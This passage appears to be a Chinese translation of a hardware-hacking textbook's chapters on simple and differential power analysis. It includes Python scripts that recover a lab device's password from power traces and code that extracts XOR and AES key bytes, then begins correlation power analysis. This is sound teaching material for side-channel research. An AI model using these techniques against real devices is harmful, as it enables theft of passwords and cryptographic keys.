和之前一样,第一步是简单地发送几个不同的密码,并观察它们之间是否存在差异。代码在清单 9-10 中发送了五个不同的单字符密码:0abch。然后它会生成处理这些密码时的功率跟踪图。(在这种情况下,我们有所偏袒,因为我们知道正确的密码以h开头,但我们希望使得结果图形足够明显。实际上,你可能需要查看多个图形才能找到异常值——例如,通过将初始字符ahipqxyz分成不同的图来进行分析。)

%matplotlib notebook
import matplotlib.pylab as plt
plt.figure(figsize=(10,4))
for guess in "0abch":
    trace = cap_pass_trace(guess + "\n")
    plt.plot(trace[0:100])
plt.show()

清单 9-10:五个密码初始字符的简单测试

结果的跟踪图绘制在图 9-12 中,显示了设备处理五个不同密码初始字符时前 100 个样本的功耗。其中一个字符是密码的正确起始字符。在第 18 个样本附近,不同字符的功耗开始出现偏差。这是由于时间泄漏:如果循环提前退出(因为第一个字符错误),那么接下来的代码执行路径将与第一个字符正确时的路径不同。

f09012

图 9-12:五个不同初始字符的功耗

如果我们放大图 9-12,并绘制所有五个功率跟踪,我们会发现四个字符的功率跟踪几乎相同,只有一个明显的异常值。我们可以推测异常值是正确的第一个字符,因为只有一个字符是正确的。然后我们根据正确的第一个字符进行猜测,并对未知的第二个字符进行相同的分析。

使用 SAD 来找到密码(并变得开心)

与我们在本章前面所做的精细调节特定峰值的时机不同,我们可以尝试更聪明一些,甚至可能更具通用性。首先,我们可以假设我们知道一个密码,它总是会在第一次字符比较时失败。我们将制作一个“无效密码模板功率跟踪”,并将每个后续跟踪与该模板进行比较。在这种情况下,我们将使用一个字符集设置为十六进制0x00作为无效密码。如果我们看到模板和设备处理特定字符时的功率跟踪之间有重大差异,那么就意味着这个特定字符是正确的。

比较两个数组的一个简单方法是绝对差和 (SAD)。计算 SAD 时,我们找到两个轨迹中每个点的差值,将其转化为绝对值,然后将这些点的值求和。SAD 是衡量两个轨迹相似度的标准,其中 0 表示完全相同,较大的数字表示轨迹之间的差异较大(参见图 9-13)。

如果我们不将所有点求和,只看绝对差值,我们可以看到一些有趣的模式。在图 9-13 中,我们采用了无效密码的轨迹,并计算了它与两个轨迹的绝对差值。一个轨迹是用错误的第一个字符(例如e)的密码拍摄的,如下方的线,峰值远高于 0.1。另一个轨迹是用正确的第一个字符(h)的密码拍摄的,显示为顶部的噪声线,徘徊在 0 之上。对于正确的密码,每个点的差异要大得多。我们现在可以将所有这些点相加,实际上是在计算 SAD。对于错误字符,我们应该得到一个较大的值,对于正确字符,应该得到一个较小的值。

f09013

图 9-13:正确(上)和错误(下)第一个密码字符的轨迹绝对差

单字符攻击

由于现在我们有了以 SAD 形式表示的“优度”指标,我们可以自动化攻击第一个字符。清单 9-11 中的代码显示了一个脚本,该脚本遍历猜测列表(在这种情况下是小写字母和数字),并检查其中是否有任何一个会导致明显不同的代码路径。如果是,它会将其标记为可能正确的密码字符。

bad_trace = cap_pass_trace("\x00" + "\n")
for guess in "abcdefghijklmnopqrstuvwxyz0123456789":
    diff = cap_pass_trace(guess + "\n") - bad_trace
  1 #print(sum(abs(diff))) 
  2 if sum(abs(diff)) > **80**: 
        print("Best guess: " + guess)
        break

清单 9-11:针对已知错误密码测试单个字符。

你需要在 2 处调整阈值,最简单的方法是取消注释 1 处的print语句,然后检查正确和错误密码的差异是什么样的。

完整的密码恢复

将其构建为完整的攻击仅需要稍微多一点的工作,正如清单 9-12 中所实现的那样。如前所述,我们的模板是使用单个字符的错误密码构建的。现在我们已经使用这个模板猜测了第一个字符,我们需要另一个模板来表示“第一个字符正确,第二个字符错误”。我们通过从猜测的第一个密码字符的功耗中捕获一个新模板,再加上一个 0x00 来实现这一点。

full_guess = ""
while(len(full_guess) < 5):
    bad_trace = cap_pass_trace(full_guess + "\x00" + "\n")
  1 if sum(abs(cap_pass_trace(full_guess + "\x00" + "\n") - bad_trace)) > **50**: 
        continue
    for guess in "abcdefghijklmnopqrstuvwxyz0123456789":
        diff = cap_pass_trace(full_guess + guess + "\n") - bad_trace
        if sum(abs(diff)) > **80**:
            full_guess += guess
            print("Best guess: " + full_guess)
            break

清单 9-12:一个自动发现密码的完整攻击脚本

我们已经构建了一个机制来验证新模板是否具有代表性。捕获数据有时会受到噪声干扰,而噪声较大的参考轨迹会产生误报。因此,通过捕获两条具有相同(无效)密码的功耗轨迹并确保 SAD 低于某个阈值来创建新模板。你需要根据你的设置调整这个阈值。

更稳健的解决方案是对多个跟踪进行平均,或者自动检测出一个偏离完整数据集的异常跟踪。然而,列表 9-12 中的两个魔法数字5080是实现这一目标的最简便方式。

运行此代码应该会打印出完整的h0px3密码。这就是一个仅用几行 Python 代码实现的 SPA 时序攻击。

总结

本章重点讲解了如何通过功耗分析执行简单的时序攻击。你可以将这里描述的方法用于对真实系统的各种攻击。获得对这些方法的深入理解的唯一途径就是通过动手实验。在进行真实系统攻击时,你还将学到,第一步几乎总是对系统进行特征分析。这些特征分析与你在这里做的实验类似,例如简单地测量你能找到的泄漏类型。

如果你想在 SPA 示例中尝试公钥密码学,可以使用像 avr-crypto-lib 这样的开源库。你甚至会发现这个库的 Arduino 移植版。

ChipWhisperer 平台有助于抽象掉一些脏乱的底层硬件细节,帮助你专注于攻击的更有趣的高层次方面。ChipWhisperer 网站包括教程和基于 Python 的示例代码,用于与各种设备接口,包括各种示波器、串口驱动程序和智能卡读卡器。并非所有目标都属于 ChipWhisperer 平台,因此,自己实现“裸机”攻击可能会有所帮助。

接下来,我们将扩展这个简单的攻击,读取被测设备中的数据。这样做不仅是查看程序流程,还要实际确定正在使用的秘密数据。

第十章:差分功率分析:DPA 攻击

利用功率测量来了解程序流程有明显的安全隐患,但如果我们能够进一步了解程序流程之外的内容呢?可以想象一种算法,其中无论处理的数据如何,代码的程序流程保持一致。然而,通过一种强大的技术——差分功率分析(DPA),我们可以了解设备正在处理的数据,即使程序流程完全相同。

在上一章中,你了解到简单功率分析利用设备的功率特征来大致确定它正在执行的操作。这些操作可能是 PIN 验证中的循环或 RSA 计算中的模运算。在 SPA 中,我们可以单独处理每个跟踪数据。例如,在 RSA 的 SPA 攻击中,我们可能使用模运算的顺序来恢复密钥。而在 DPA 中,我们分析的是一组跟踪数据之间的差异。我们使用统计方法分析跟踪数据中的微小变化,这可能帮助我们确定设备正在处理的数据,甚至是逐个位的数据。

由于单个位仅影响少数几个晶体管,你可以想象其对功率消耗的影响微乎其微。事实上,通常无法在功率跟踪中测量单个位(除非它引起了大规模的操作差异,比如 RSA 的教科书实现)。不过,我们可以做的是捕获成千上万、数百万、数十亿次功率跟踪数据,并利用统计学的力量(双关语)来检测由单个位引起的微小偏差。DPA 攻击的目标是利用功率测量来确定算法中的某个秘密且恒定的状态——通常是处理数据的目标设备上的加密密钥。

这一极为强大的技术首次由 Paul Kocher、Joshua Jaffe 和 Benjamin Jun 于 1998 年在题为“差分功率分析”的论文中发布。DPA 是一种特定的侧信道功率分析算法,但该术语通常用来描述该领域中的所有相关算法。除非另有说明,否则我们在这里也将使用该术语作为通用术语。

在进行 DPA 攻击之前,你需要能够与目标设备进行通信,并使其执行所需的加密操作。你将收集目标设备的测量数据并记录其功率消耗。然后,你将处理这些数据并执行攻击,期望恢复加密密钥。尽管这种攻击听起来与第九章中描述的 SPA 攻击相似,但其处理步骤有很大不同。

但在深入了解 DPA 攻击中实施的处理之前,你需要理解我们正在利用的具体效应。我们将从一个简单的微控制器开始;这些可编程数字设备几乎可以保证存在于任何可被破解的产品中。

微控制器内部

如果你深入查看微控制器内部,你会看到所有的导线将信号从芯片的一侧传输到另一侧,如图 10-1 所示。各种数据线从芯片的一个区域流向另一个区域。一个 8 位微控制器通常有一条 8 位宽的主数据总线

这些线传输数据,其中一些数据就是我们的目标。这些数据线最终会连接到数字电路的基本构件之一,即晶体管。这些是场效应晶体管(FETs),但我们关心的仅仅是它们本质上是一个开关;它们有一个输入端,可以控制输出端的开关。为了切换数据总线末端的场效应晶体管,我们必须将数据总线线设为高电平或低电平。场效应晶体管的输入以及其间所有的线路可以看作是一个非常小的电容器,移动这条线路的高低电平实际上意味着改变电容器上的电压,这意味着数据值直接影响内部电容的电荷。

f10001

图 10-1:芯片中的数据线

改变电容器上的电压

微控制器内部和周围的各种电容影响着功耗。为了方便后续讨论,我们将所有这些电容视为一个单一的电容。如果你在高中物理课上认真听讲过,你可能还记得,要增加电容器上的电压,你需要施加一个电荷,而这个电荷必须来自某个地方——通常是通过电源线。数字集成电路(IC)会有 VCC(正电源)和 GND(地)电源线。如果你监控功耗,你会看到 VCC 线上在从低电平切换到高电平时会有电流尖峰。这是由于改变电容器上电压的基本方程所导致的,可以表述为“通过电容器的电流与电容C和电压变化率相关”,如下所示:

e10001

如果电容器上的电压发生变化(例如从低电平切换到高电平时发生的情况),我们会在电容器所在的电路中看到电流流动。如果电压在低电平到高电平的过渡中变化,我们应该会看到电流沿一个方向流动。如果电压在高电平到低电平的过渡中变化,我们应该看到电流的方向发生反转。观察电流流动的大小和方向可以让我们推断电容器上的电压变化情况,从而推断整个电路(包括微控制器内部总线状态的过渡)的变化。

为了说明这一点,假设我们有一个微控制器,它允许我们监测电流消耗和内部数据总线的状态。如果我们在监测进入设备的电流时,改变两条数据线,我们预计这个测量的结果会像图 10-2 那样。当总线上的数据发生变化时,所有数据线都会相对于系统时钟在定义明确的时间点同时改变状态。在这些时刻,我们会看到由于数据线切换而产生的电流峰值。切换数据线意味着充电和放电电容器,这需要电流流动。

f10002

图 10-2:监测切换数据线时的电流峰值,展示 0→1 和 1→0 过渡时电流流入的情况

大多数实际微控制器的总线会进入预充电状态,这种状态介于逻辑 1 和逻辑 0 之间。逻辑状态切换需要时间,而这个时间取决于施加在总线上的电压差(即 1 状态和 0 状态之间的电压差)。通过预充电,这个电压差是恒定的,并且只有完全从 0 到 1 切换的电压差的一半,无论总线上是 0 还是 1。这使得总线操作所需的时间更短,整个操作也更可靠。

从功率到数据,再回到功率

本书中我们讨论的大多数测量旨在捕捉被测设备的电流。功率与电流的关系为P = I × V;详细信息见第二章。如果设备具有恒定的工作电压,功率和电流之间具有线性关系。对于接下来的工作,我们不需要这些测量的具体单位,线性(甚至非线性)缩放因子在结果应用中几乎没有影响。

因此,在接下来的讨论中,以及本书剩余部分中,电流功率这两个术语会被交替使用。对于这些攻击的常见术语是功率分析,所以你会看到攻击者测量设备的功率或拥有功率迹线的描述。在大多数情况下,这是不准确的,因为实际测量的是电路中设备的电流,通常使用电流探头等工具。(为了进一步困惑你,这些电流是通过示波器以伏特为单位进行测量的。如果你特别较真于功率和电流之间的区别,请注意,你可能会发现自己根本无法存在于功率分析的领域。)

作为攻击者,我们可以利用前面提到的预充电状态,直接确定正在操作的数字中 1 的个数。这个数字称为海明重量 (HW)。0xA4 的海明重量为 3,因为 0xA4 在二进制中是 10010100,里面有三个 1。通过简单的预充电 2 位总线,我们的功率消耗迹线会像图 10-3 那样。

由于预充电,功率峰值仅依赖于当前通过总线传输的值中 1 的数量。请注意,我们只考虑 VCC 电源轨的电流消耗,这就是为什么在线路变为低电平时没有负峰值的原因。这种行为更接近于你在实际系统中看到的情况,因为你观察的是单一电源轨的功耗。

f10003

图 10-3:2 位数据线上的海明重量

在实际中,微控制器通常会泄露处理数据的海明重量。我们可以通过在多次测量中,确定何时处理数据并平均功耗来确认这一点。图 10-4 显示了一个 STM32F303 微控制器的示例。

f10004

图 10-4:STM32F303 微控制器的功耗增加导致电压测量下降。

你可能会惊讶于这种拟合的线性程度,但我们在微控制器上的实际测量通常确实会与该模型匹配。我们通过 VCC 电源线上的串联电阻测量电压降,因此增加的功耗(增加的海明重量)会导致更大的电压下降。

性感的 XOR 示例

现在我们可以使用平均功耗来确定数字设备中设置为 1 的位数总和,让我们看看如何破解一个简单设备。考虑一个基本电路,它将每个输入字节与某个未知但恒定的 8 位密钥进行 XOR 运算。然后,它将这些数据通过一个查找表,该查找表用已知值替换每个字节,就像一个替换密码,其中原始输入字节被查找表中的对应输出字节替换,最终得到“加密”结果。

我们无法访问该设备的输出;我们所能做的只是向其发送数据,它会将数据进行 XOR 运算并通过查找表发送。然而,我们可以,如图 10-5 所示,通过在待测设备的 VCC 线中插入分流电阻来测量该设备的功耗。

f10005

图 10-5:这个简单设备将通过 DPA 攻击被破解。

现在我们向设备发送一堆随机的 8 位输入数据字节,并记录每个字节及其功率轨迹。我们最终得到一个数据列表,列出了发送到设备的数据及其在该操作过程中测量的功率轨迹,如图 10-6 所示。

f10006

图 10-6:输入数据与相关功率轨迹

这就是我们开始进行 DPA 攻击所需的一切,在这个过程中我们将尝试恢复密钥。

差分功率分析攻击

对于图 10-5 中的这个异或(XOR)示例的 DPA 攻击,我们每次只针对一个秘密密钥位进行攻击。我们将描述如何破解最低有效位(LSB),但是你可以通过一些创意将这种方法扩展到所有 8 位。

这些攻击的核心是密钥枚举,这其实就是我们通过有根据的猜测来尝试密钥的值。我们尝试每一个可能的密钥值,预测如果设备使用该密钥值,功耗会是多少,然后将我们的预测与实际的功耗轨迹进行比对。最好的匹配就是我们的密钥候选

你此时完全正确地想,“为什么我需要功耗分析,而不是直接暴力破解一个 8 位密钥?”对于暴力攻击,你需要输入一个密钥并从系统中得到反馈,确认密钥是否正确。这里的问题是,我们假设输出不可用,因此你永远无法测试猜测的密钥是否正确。

在 DPA 攻击中,我们将获得一些关于猜测密钥是否正确的“线索”。我们实际上并不直接得知密钥是否解密了数据。对猜测的密钥进行测试的最佳方法是尝试解密一些数据,看看是否能得到有效的输出;如果能得到有效输出,那么我们基本可以确定密钥是正确的。而在 DPA 攻击中,我们技术上只是对密钥假设密钥猜测的信心有所增加。如果这个信心非常高,我们可以推断出实际密钥等于我们的密钥假设,而无需进行测试解密。更重要的是,我们稍后将把这个例子扩展到更大的密钥,针对这些密钥你无法使用暴力破解。例如,应用 DPA 攻击于一个 128 位的密钥,其工作量是应用于单个位时的 128 倍,因为我们可以独立地对密钥位进行攻击。相比之下,暴力破解一个单个位的密钥最多需要两次尝试,但破解全部 128 位的密钥则最多需要进行 2¹²⁸次尝试。那是一个非常大的数字,差不多是宇宙中蚂蚁的数量,如果宇宙中的每颗星星都有十亿只蚁后,每只蚁后都有一个十亿只蚂蚁的巢穴。这意味着,通过 DPA,破解 128 位密钥是可行的,而暴力破解则不可行。

使用泄漏假设预测功耗

为了预测设备的功耗,我们将使用泄漏假设并结合我们对系统的了解。我们假设系统泄漏所有处理值的海明重量,但我们面临一个问题。我们只能测量总功耗,也就是所有正在处理的数据的海明重量,而不是我们感兴趣的仅仅是秘密值的海明重量。此外,即使我们能够隔离出秘密值,许多不同的 8 位值也会有相同的海明重量。由于本章内容较多,你应该已经猜到,解决这个难题的方法是存在的。

假设我们有一个名为t[]的功率轨迹数组和一个名为p[]的相关输入数据数组。例如,图 10-6 中的顶部条目将有p[0] = 0xAC。功率轨迹t[0]是一个样本值数组,如顶部轨迹所示。我们可以应用 DPA 算法生成每个密钥猜测的差异列表。列表 10-1 中呈现的简单函数模拟了一个简单目标设备的功耗,并通过 DPA 攻击猜测了一个单一位。

diffarray = []
1 each key guess i of the secret key in range {0x00, 0x01, ..., 0xFE, 0xFF}:
    zerosarray = new array
    onesarray = new array
    2 for each trace d in range {0,1, ..., D-1}:
        3 calculate hypothetical output h = lookup_table[i XOR p[d]]

        4 if the LSB of h == 0:
            5 Append t[d] to zerosarray[]
        else:
            6 Append t[d] to onesarray[]

    7 difference = mean(onesarray) – mean(zerosarray)
    append difference to diffarray[]

列表 10-1:使用 DPA 攻击模拟功耗和猜测单一位

我们首先列举出所有可能的字节猜测 1。对于每个可能的密钥字节猜测,我们遍历所有记录的功率轨迹 2。使用与轨迹p[d]和密钥猜测i相关的输入数据,我们可以生成一个假设的输出h 3,只有在我们正确猜测密钥时,这个输出才等于微控制器所计算的结果。

最后,我们查看假设输出中的目标位(最低有效位,LSB) 4。根据密钥猜测,我们将每个记录的功率轨迹t[d]添加到两组中的一组:我们认为LSB 为 1 的组 5,以及我们认为LSB 为 0 的组 6。

现在考虑这个猜测的性质。如果猜测是错误的,我们认为输入查找表的数据实际上并非设备上实际输入的数据,因此,我们认为从查找表中得到的结果也不是实际得到的结果。根据错误的最低有效位(LSB)分组,意味着我们基本上将所有的功率轨迹随机分成两组。在这种情况下,您会期望每组的平均功耗大致相同。因此,如果你从两个平均值中相互减去,你应该得到的结果应该什么也没有,只可能是一些噪音。图 10-7 展示了两组的例子以及得到的减法结果。

如果我们的猜测是正确的,我们认为计算的结果实际上与设备上计算的结果相同。因此,我们已将所有最低有效位(LSB)实际设置为 1 的功率轨迹分入一组,将所有 LSB 实际设置为 0 的功率轨迹分入另一组。如果这些 1 和 0 的功耗稍有不同,那么如果我们对足够大的轨迹组进行平均,这种差异应该变得明显。当我们操作该位时,我们预计在一组和零组之间会看到一个小的差异,如图 10-8 所示。

f10007

图 10-7:将多个功率轨迹平均为 1 和 0,用于一个错误猜测(0xAB),且没有明显的峰值

f10008

图 10-8:将多个功率轨迹平均为 1 和 0,用于一个正确猜测(0x97),其中明显可见一个峰值

这种差异(在列表 10-1 中的 7)给我们提供了差分功率分析中的差分部分。这种分析的优势在于,将图 10-6 中显示的表格中的痕迹分为两组,使我们能够平均多个痕迹以减少噪声,同时不会平均掉我们关注的位的贡献。我们可以在图 10-8 中的样本 35 看到最终的波动,这表明我们可以看到最低有效位(LSB)的微小贡献。对这两组平均值之间的差异进行比较,将称为计算均值差异(DoM)

但是,这么微小的功率消耗波动会不会在现实芯片中其他许多线路切换的噪声中丢失呢?实际上,所有其他噪声在两个组中是均匀分布的。唯一在统计上仍然显著的差异是 LSB,即我们选择用来划分组的那个单个位。当我们对足够多的痕迹进行平均时,任何其他翻转位的贡献都会相互抵消。

Python 中的 DPA 攻击

作为概念验证,本章的配套 Jupyter 笔记本(nostarch.com/hardwarehacking/)实现了一个对我们示例的 DPA 攻击,使用 Python 编写。measure_power()函数,在列表 10-2 中部分展示,使用一个秘密字节对输入数据进行 XOR 运算,并通过查找表进行传递。

def measure_power(din):
    #secret byte
    skey = 0b10010111 # 0x97

    #Calculate result
    res = lookup[din ^ skey]

列表 10-2:使用某个秘密密钥对输入进行 XOR 运算的查找表

在以下示例中,查找表是随机生成的(即列表 10-2 中的lookup数组)。查找表应该至少是一个双射,如果我们正在实现一个真实的加密算法,还需要更多的考虑。然而,出于演示的目的,随机排列的序列也可以使用。使用这样的查找表将展示 AES 或其他算法本身并没有根本的“问题”,正是这些算法使得攻击成为可能。

我们将模拟运行该函数的硬件的功率消耗,而不仅仅是执行“加密功能”,这将使其更容易在计算机上跟踪。稍后你将看到如何在实际硬件上执行这些测量。

模拟单次功率测量

为了模拟单次功率测量,我们将在measure_power()函数中生成一个包含随机背景噪声的数组,以反映噪声测量和系统的现实情况。然后,我们将根据中间值中 1 的数量插入一个功率峰值。这模拟了图 10-5 中显示的系统功率消耗测量。

批量测量

接下来,我们进行批量测量。gen_traces()函数调用measure_power()函数,使用多个随机输入并记录结果功率轨迹。你可以指定执行多少次测量。(我们稍后会看看这对攻击成功率的影响。)

图 10-9 展示了我们“测量”到的单个轨迹,这是通过 Python 绘制的。

f10009

图 10-9:生成的单个轨迹示例(输入 = 0xAC)

枚举可能性并分割轨迹

此时,我们已经有了前面“通过泄漏假设预测功耗”部分提到的测量和输入数据数组。现在我们需要做的就是枚举密钥猜测,并根据假设的中间值将记录的功率轨迹分成两组。

dom()函数中,我们用lookup[guess ^ p]猜测中间值,然后通过(XX >> bitnum) & 1表达式检查该值是否设置了特定的比特。根据该比特的值,轨迹被分为两组。在我们的示例中,在使用 LSB 之前,这对应于将bitnum设置为 0。

差分数组

最后,我们减去每组的均值以得到差分数组。这些差分看起来是什么样的呢?如果分割正确,我们应该在某个时刻看到一个大的峰值。回顾图 10-7 和图 10-8 中的均值差异,你应该能看到当分离轨迹正确时,会出现明显的正峰值,从而知道我们的关键猜测是正确的。

图 10-8 中的图表是正确猜测的结果,我们基于假设密钥字节为 0x97 对轨迹进行了分割。图 10-7 中的图表显示了一个错误的密钥猜测,我们假设密钥字节为 0xAB,并对轨迹进行了分割。

随着轨迹的分离,即使在非常高噪声的环境下,最终所有非 DPA 信号的部分都会被平均掉,正如你可以通过比较图 10-10 中的左右均值差异所看到的那样。

f10010

图 10-10:对 1,000(左)与 100,000(右)个轨迹的均值差异以减少噪声

图 10-10 展示了右侧使用的 100,000 个轨迹,而左侧为 1,000 个轨迹。结果是随机噪声被进一步抑制,信号变得更加突出。

完整攻击

接下来,我们通过计算每个比特的每个猜测的均值差异,确定每个比特加密密钥的最可能值。从所有这些差异中,我们找到最强的峰值,表示该比特的最佳密钥猜测。运行代码会生成如下输出:

Best guess from bit 0: 0x97
Best guess from bit 1: 0x97
Best guess from bit 2: 0x97
Best guess from bit 3: 0x97
Best guess from bit 4: 0x97
Best guess from bit 5: 0x97
Best guess from bit 6: 0x97
Best guess from bit 7: 0x97

我们已经确定了每个位的加密密钥的正确值。虽然 DPA 一次处理单个位,但在我们示例加密函数中使用那个奇怪的查找表意味着我们只需猜测一个位就能破解整个 8 位的加密密钥。这种方法之所以有效,是因为查找表的输出的单个位可能与输入表的所有位相关。这个输入是 8 位的未知密钥和 8 位的已知算法输入数据组合而成。

使用查找表可以确保如果我们对密钥值的猜测是错误的,将追踪分为一类和零类的划分基本上是随机的。具体来说,查找表很可能是非线性的,因为我们对其进行了随机化处理。

如果我们只攻击简单的输入 XOR 密钥而没有查找表,那么每个密钥位只会与中间状态的一个位相关,这意味着我们每次只能确定中间状态的一个位对应的密钥位。

认识你的敌人:高级加密标准速成课程

破解我们设计的仅对一个字节有效的算法并不算太刺激,因此现在我们要将 DPA 应用到高级加密标准(AES)。AES 总是以 16 字节的块进行操作,这意味着你必须一次加密 16 字节。AES 有三种密钥长度的可能性:128 位(16 字节)、192 位(24 字节)或 256 位(32 字节)。较长的密钥通常意味着更强的加密,因为任何形式的暴力破解对更长的密钥破解的时间会呈指数增长。

我们在这里主要讨论 AES-128(尽管你也可以轻松将旁道攻击应用于 AES-192 或 AES-256),使用 电子密码本 (ECB) 模式。在 ECB 模式下,16 字节的未加密 明文 通过 AES-128-ECB 和相同的密钥总是映射到相同的加密 密文。大多数现实世界的加密不会直接使用 ECB 模式,而是使用各种 操作模式,例如 密码分组链接 (CBC)Galois 计数模式 (GCM)。对 AES 的直接 DPA 攻击将应用于 ECB 模式下的 AES。一旦你掌握了如何处理 AES 的 ECB 模式,也可以将其扩展到 AES CBC 和 AES GCM 的攻击。

图 10-11 显示了 AES-128 开始部分的总体结构。(我们将讨论限制在算法的开始几轮,因为我们的攻击发生在该部分。)

f10011

图 10-11:AES 算法的完整第一轮和第二轮的开始

在图 10-11 中,16 字节的密钥表示为 R[0]K[k] 1,其中 k 是密钥字节的编号。第一个下标表示该密钥适用于哪一轮;AES 在每一轮使用不同的 16 字节轮密钥。输入明文为 2,依然带有下标,表示字节编号。每个轮密钥的字节与明文 3 的每个字节进行异或操作,称为 AddRoundKey 操作。请注意,对于 AES-128,第一轮的轮密钥与 AES 密钥相同;其他所有的轮密钥都是通过密钥调度算法从 AES 密钥派生出来的。对于 AES-128 的 DPA,我们只需要提取一个轮密钥,通过它可以推导出 AES 密钥。

一旦轮密钥和明文在 AddRoundKey 操作中进行异或运算,每个字节就会通过一个 替代盒 (S-box) 4,进行称为 SubBytes 的操作。S-box 是一个 8 位查找表,具有一对一的映射关系(也就是说,每个输入都有一个唯一的输出)。这也意味着它是可逆的;给定 S-box 的输出,你可以确定输入。S-box 设计具有许多优良的特性,可以抵抗线性和差分密码分析。(这些查找表的具体定义并不重要;我们只想指出,S-box 不仅仅是一个普通的查找表。)

接下来的两层进一步将输入分布到多个输出比特中。第一层是一个名为 ShiftRows 的函数,它会打乱字节 5。接下来,MixColumns 操作 6 将 4 个字节的输入结合成 4 个字节的输出,这意味着如果输入到 MixColumns 的单个字节发生变化,所有 4 个字节的输出都会受到影响。

MixColumns 的输出成为下一轮 7 的输入。这一轮有一个轮密钥 8,它将再次与输入的轮文本 7 通过 AddRoundKey 操作进行异或运算。之前的操作(SubBytesShiftRowsMixColumns)然后会重复。结果是,如果我们在 AES 开始时翻转一个比特,经过 10 轮后,我们应该(平均而言)看到一半的输出比特发生翻转。

除了最后一轮外,所有的轮次都会进行完全相同的操作;只有进入轮次的数据和轮密钥会有所不同。最后一轮将进行另一个 AddRoundKey 操作,而不是 MixColumns 操作。然而,我们只需要通过 DPA 攻击第一轮来提取完整的密钥,因此对于最后一轮,我们并不太担心!

使用 DPA 攻击 AES-128

要通过 DPA 破解 AES-128 实现,我们首先需要模拟 AES-128 实现。我们一直在使用的异或示例基本上是 AES 的前两步:密钥加法(异或)和 S-box 查找。

要构建一个真正的 AES DPA 攻击,我们将修改来自附带的 Jupyter 笔记本的示例代码(如果你还没有这样做,现在是个好时机让它正常运行)。我们只需要将随机查找表改为正确的 AES S-box。在这种情况下,我们攻击的是 S-box 的输出。S-box 的非线性效应将使得提取完整的加密密钥变得更加容易。

如果你运行示例代码,它应该会生成图 10-12 中的输出,显示 guess 变量的三种值:0x96、0x97 和 0x98 的追踪。这些是 guess 变量 256 个值中的三种差异追踪。当 guess 变量与正确的密钥字节匹配时,你会看到一个大的峰值。

f10012

图 10-12:对 AES-128 加密算法的单字节进行 DPA 攻击的输出,密钥为 0x97

虽然我们只攻击了 AES-128 加密的一个字节,但我们可以对每个输入字节重复攻击,以确定整个 16 字节的密钥。记得我们猜测只有 8 位时的情况吗?我们没有做出任何关于破解哪个密钥的 8 位的特殊假设。因此,我们可以对任何密钥字节进行相同的攻击。

我们现在声明,我们可以通过攻击 16 次并且每次仅猜测 8 位来破解所有 AES 密钥字节!从计算上来说,这是完全可行的,而进行 2¹²⁸ 的暴力破解则根本不可能。DPA 的基本强度在于,我们不是暴力破解整个密钥空间,而是将加密算法分解成子密钥,然后通过使用来自功率追踪的附加信息来验证子密钥猜测,从而暴力破解这些子密钥。通过这种方式,我们将破解 AES-128 实现从不可能变为可以实现的现实。

相关功率分析攻击

DPA 攻击假设,对于某个特定设备,当一个比特是 1 或 0 时,功耗会有所不同。正如我们所解释的,我们可以使用从查找表中提取的任意 8 个比特之一来预测密钥。这个冗余实际上是我们可以用来增强攻击的东西。一种直接的方法是使用每个位作为一个单独的“投票”,来判断哪个子密钥是最有可能的候选者,但我们可以更加聪明。我们可以使用一种更高级的攻击,称为相关功率分析(CPA**),它将同时对任意数量的比特进行建模,因此可以产生更强的攻击。在 DPA/CPA 术语中,这意味着我们需要更少的追踪来恢复密钥。CPA 是由 Eric Brier、Christophe Clavier 和 Francis Olivier 在 CHES 2004 论文《带泄漏模型的相关功率分析》中引入的。我们将呈现数学符号及 Python 实现,帮助你将理论与实际代码对接。直到你真正实现这个攻击,细节可能会逃避你(相信我们),所以拿起笔和纸,让我们深入探讨吧。

在 DPA 中,我们基本上是在说:“如果某个中间位发生变化,功耗也会随之变化。”虽然这是对的,但它并没有完全捕捉到数据与功耗之间关系的全部范围。请参见图 10-4。一个字的哈明权重越高(即,设置的位越多),功耗越高。这接近完美的线性关系。这个关系似乎适用于任何类型的 CMOS,因此它对微控制器非常适用。那么,我们如何利用这种线性呢?

DPA 的基本思想是进行关键猜测并预测一个中间值中某一位的值。在 CPA 中,我们做相同的关键猜测,但预测整个中间值的字。在我们的 AES 示例中,我们预测 S 盒的 8 位输出:

sbox[guess ^ input_data[d]]

现在,魔法来了:预测之后,我们计算该预测值的哈明权重。我们知道它与实际的功耗几乎是线性相关的。因此,如果我们的猜测是正确的,我们应该能够找到 S 盒输出的哈明权重与设备实际测量功耗之间的线性关系。如果我们的猜测是错误的,我们就看不到线性关系,因为我们为预测值计算的哈明权重实际上是某个其他尚未知的值的哈明权重,而不是我们预测的那个值。对我们非常有用的是找到那个给出这种线性关系的猜测。如何利用这种线性关系将在我们关注某位皮尔逊先生时变得显而易见。

相关系数

样本皮尔逊相关系数 r 做的正是我们所需要的。它衡量两个随机变量样本之间的线性关系——在我们这里,就是测量的功率轨迹与某个猜测的 S 盒输出的哈明权重之间的线性关系。根据定义,皮尔逊相关系数为+1 时,表示它们完全线性相关;也就是说,功耗越大,哈明权重越高。如果相关系数为-1,则表示它们完全负相关;也就是说,更高的哈明权重与较低的功耗相关。

实际中可能会出现负相关性,因此我们通常对相关系数的绝对值更感兴趣。如果相关系数为 0,则说明完全没有线性关系,对于我们的实际目的来说,这意味着对于某个猜测,测量的轨迹与 S 盒的哈明权重之间没有显著的对应关系。通过这个观察,我们可以通过简单地查看皮尔逊相关系数的绝对值来测试一个猜测的好坏,并比较不同的猜测。相关系数绝对值最高的猜测获胜,因此很可能就是实际的密钥!

先了解一些术语

我们即将介绍许多在方程式中映射到笔记本中 Python 表达式的变量。为了方便你使用,我们在表 10-1 中给出了映射。

从方程式转换为 Python 是以下过程中的一个重要部分,未来你将读到的许多攻击也与此相关。像表 10-1 这样的简单映射表可以让你的工作变得更加轻松。如果你已经运行了伴随代码,保持此页面打开,以便快速在方程和代码之间转换。

表 10-1:将相关方程变量映射到笔记本

方程变量 笔记本 含义
d tnum 跟踪索引 [0..D1]
D number_traces 跟踪总数
i guess 假设子密钥的值为 i[0..I1]
I 256 可用子密钥猜测的总数
j 不适用(谢谢,NumPy!) 样本索引 [0..T1]
h[d,i] hyp, intermediate() 跟踪 d 和子密钥猜测 i 的假设功耗
p[d] input_data[d] 跟踪 d 的明文值
r[i,j] cpaoutput 子密钥猜测 i 在样本索引 j 处的相关系数
t[d,j] traces[d][j] 跟踪 d 在样本索引 j 处的样本值
T numpoint 每个跟踪中的样本数

计算要关联的数据

为了计算相关系数,我们需要一张来自设备的实际功率测量表(见表 10-2)和一列假设的功率测量值(见表 10-3)。我们首先来看表 10-2,这是使用伴随笔记本中的代码生成的功率测量数据。

